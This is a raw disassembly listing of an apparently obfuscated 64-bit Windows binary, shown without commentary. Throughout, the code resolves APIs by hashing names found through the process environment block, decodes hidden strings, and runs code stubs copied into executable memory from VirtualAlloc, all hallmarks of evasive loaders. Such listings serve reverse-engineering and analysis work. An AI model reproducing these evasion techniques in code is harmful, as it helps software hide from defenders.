movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e86b6
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x18], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x18]
test eax, eax
je 0x1400e87ef
mov rdx, qword [0x140314a28]
test rdx, rdx
jne 0x1400e87d9
mov esi, r11d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400e8753
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e874a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e873b
cmp edx, esi
jne 0x1400e87ba
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400e87ba
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400e87b7
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400e879f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400e8794
cmp edx, r14d
je 0x1400e88cb
test r11d, r11d
jne 0x1400e877f
xor r11d, r11d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400e87cf
cmp qword [rax + 0x30], r11
jne 0x1400e8710
mov rdx, r11
mov qword [0x140314a28], rdx
mov ecx, 0x992b
call rdx
mov ecx, 0x992b
int 0x29
mov r10d, dword [rsp + 0x54]
xor r11d, r11d
lea r12d, [r13*2]
add r12d, r13d
mov ebx, dword [rbp - 0x78]
lea r9d, [r12 + rbx]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8ad2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, qword [rbp + 0x48]
and eax, 1
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8941
call fcn.1400753c8
movsx edx, al
movsx eax, byte [0x1403122a0]
imul edx, eax
add edx, edx
call fcn.1400753d4
movsx ecx, al
sub edx, ecx
call fcn.1400753cc
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e8941
mov dword [rbp - 0x14], 1
jmp 0x1400e899b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400e87d2
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400e87d2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400e8915
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400e8907
inc rdx
xor r11d, r11d
jmp 0x1400e8933
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400e8923
mov rbx, qword [r15]
jmp 0x1400e87ba
lea ecx, [rbx + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e899b
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x14], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
lea eax, [rax + r13*8]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x14]
test eax, eax
je 0x1400e8ad2
mov rdx, qword [0x140314a28]
test rdx, rdx
jne 0x1400e8ac4
mov esi, r11d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400e8a3b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e8a32
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e8a23
cmp edx, esi
jne 0x1400e8aa2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400e8aa2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400e8a9f
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400e8a87
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400e8a7c
cmp edx, r14d
je 0x1400e8d20
test r11d, r11d
jne 0x1400e8a67
xor r11d, r11d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400e8ab7
cmp qword [rax + 0x30], r11
jne 0x1400e89f8
mov rdx, r11
mov qword [0x140314a28], rdx
mov ebx, dword [rbp - 0x78]
mov ecx, 0x992b
call rdx
mov ecx, 0x992b
int 0x29
mov dword [rsp + 0x60], 0xe7e4f406
mov dword [rsp + 0x64], 0x1df208e5
mov dword [rsp + 0x68], 0x63fff8ea
xor eax, eax
mov qword [rsp + 0x6c], rax
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x106958abc3dc3072
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1e
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x14
jb 0x1400e8afe
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x60]
or r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e8b6b
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.1400110fc
nop
mov dword [rsp + 0x30], 0x35323e33
mov dword [rsp + 0x34], 0x8d91493d
mov dword [rsp + 0x38], 0x4f4c4588
mov byte [rsp + 0x3c], 0xda
xor eax, eax
mov qword [rsp + 0x3d], rax
mov dword [rsp + 0x45], eax
mov word [rsp + 0x49], ax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x392abcf372ab3a3b
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x63
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x1400e8bba
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e8c23
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400110fc
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.14008ee44
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp - 0x80]
call rax
nop
mov rdx, qword [rbp - 0x38]
mov edi, 0x1000
cmp rdx, 0xf
jbe 0x1400e8c93
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e8c8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e8db2
call fcn.14017fd24
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], r14b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400e8cda
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e8cd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e8db9
call fcn.14017fd24
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], r14b
mov ecx, dword [rbp - 0x10]
inc ecx
mov dword [rbp - 0x10], ecx
cmp ecx, 0xc8
mov esi, 3
jl 0x1400e774f
mov r10d, dword [rsp + 0x50]
inc r10d
mov dword [rsp + 0x50], r10d
lea r9d, [r13*2]
add r9d, r13d
jmp 0x1400e762a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400e8aba
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400e8aba
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400e8d6a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400e8d5c
inc rdx
xor r11d, r11d
jmp 0x1400e8d88
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400e8d78
mov rbx, qword [r15]
jmp 0x1400e8aa2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x30], 0xbb202ec3
mov dword [rsp + 0x34], 0x544d585c
mov dword [rsp + 0x38], 0x5cbf585b
mov dword [rsp + 0x3c], 0x40595e56
mov dword [rsp + 0x40], 0x49555a52
mov dword [rsp + 0x44], 0x404448aa
mov word [rsp + 0x48], 0x725b
mov byte [rsp + 0x4a], 0xfc
xor eax, eax
mov dword [rsp + 0x4b], eax
mov byte [rsp + 0x4f], al
mov qword [rsp + 0x20], r14
jmp 0x1400e8e51
mov r8, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x2b525f3dc984ba3d
add r8, rax
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x55
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x20
jb 0x1400e8e0d
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e8e73
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1400110fc
nop
mov dword [rsp + 0x30], 0x717a6e73
mov dword [rsp + 0x34], 0x606e7569
mov dword [rsp + 0x38], 0x673e6673
mov word [rsp + 0x3c], 0x7d7e
mov eax, 8
mov byte [rsp + 0x3e], al
xor eax, eax
mov qword [rsp + 0x3f], rax
mov word [rsp + 0x47], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e8f0d
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xafa8d16b0252fd01
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 7
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x1400e8ec6
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x30]
inc r15
cmp byte [rax + r15], r14b
jne 0x1400e8f2c
mov r8, r15
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400110fc
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140098204
mov rdi, rax
lea rcx, [rbp - 0x50]
call fcn.140012910
nop
lea rcx, [rbp - 0x70]
call fcn.140012910
mov ecx, dword [rbp + 0x50]
and ecx, 0xfffffff7
or ecx, 7
mov dword [rbp + 0x50], ecx
mov r13d, 1
mov dword [rbp + 0x54], r13d
mov dword [rbp + 0x58], 7
mov dword [rbp + 0x5c], esi
mov dword [rbp + 0x60], r13d
lea r15d, [r13 + 3]
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x50]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400773bc]
mov rax, qword [0x140312900]
test rax, rax
je 0x1400e901f
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e900e
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x312900]
test rax, rax
jne 0x1400e8ff4
jmp 0x1400e901f
mov r10, qword [rdx + r10*8 + 0x312c20]
test r10, r10
jne 0x1400e9103
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e9046
mov r10, r14
jmp 0x1400e90db
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e9055
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1403128f0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x312900], r12
mov qword [rcx + rax*8 + 0x312c20], r10
add rax, r13
mov qword [0x1403128f0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x54]
mov qword [rbp + 0x38], rax
mov eax, 8
mov dword [rsp + 0x50], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400773bc]
mov rax, qword [0x140312f50]
test rax, rax
je 0x1400e91a2
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e9191
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x312f50]
test rax, rax
jne 0x1400e9177
jmp 0x1400e91a2
mov r10, qword [rdx + r10*8 + 0x313270]
test r10, r10
jne 0x1400e9286
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e91c9
mov r10, r14
jmp 0x1400e925e
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e91d8
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140312f40]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x312f50], r12
mov qword [rcx + rax*8 + 0x313270], r10
add rax, r13
mov qword [0x140312f40], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x58]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], 0xa
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400773bc]
mov rax, qword [0x1403135a0]
test rax, rax
je 0x1400e9324
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e9313
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x3135a0]
test rax, rax
jne 0x1400e92f9
jmp 0x1400e9324
mov r10, qword [rdx + r10*8 + 0x3138c0]
test r10, r10
jne 0x1400e9408
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e934b
mov r10, r14
jmp 0x1400e93e0
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e935a
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140313590]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x3135a0], r12
mov qword [rcx + rax*8 + 0x3138c0], r10
add rax, r13
mov qword [0x140313590], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x5c]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400773bc]
mov rax, qword [0x140313bf0]
test rax, rax
je 0x1400e94a2
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x1400e9491
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x313bf0]
test rax, rax
jne 0x1400e9477
jmp 0x1400e94a2
mov r10, qword [rdx + r10*8 + 0x313f10]
test r10, r10
jne 0x1400e9586
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e94c9
mov r10, r14
jmp 0x1400e955e
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x1400e94d8
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140313be0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x313bf0], r12
mov qword [rcx + rax*8 + 0x313f10], r10
add rax, r13
mov qword [0x140313be0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x60]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], 9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea r12, [rbp + 0x98]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x30], rbx
mov qword [r12], r14
mov ecx, r14d
lea r15, [0x1400773bc]
mov rax, qword [0x140314240]
test rax, rax
je 0x1400e9625
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r15
je 0x1400e9614
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x314240]
test rax, rax
jne 0x1400e95fa
jmp 0x1400e9625
mov r10, qword [rdx + r10*8 + 0x314560]
test r10, r10
jne 0x1400e9705
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400e964c
mov r10, r14
jmp 0x1400e96dd
mov rax, r15
mov rcx, r10
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub rsi, 1
jne 0x1400e9657
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
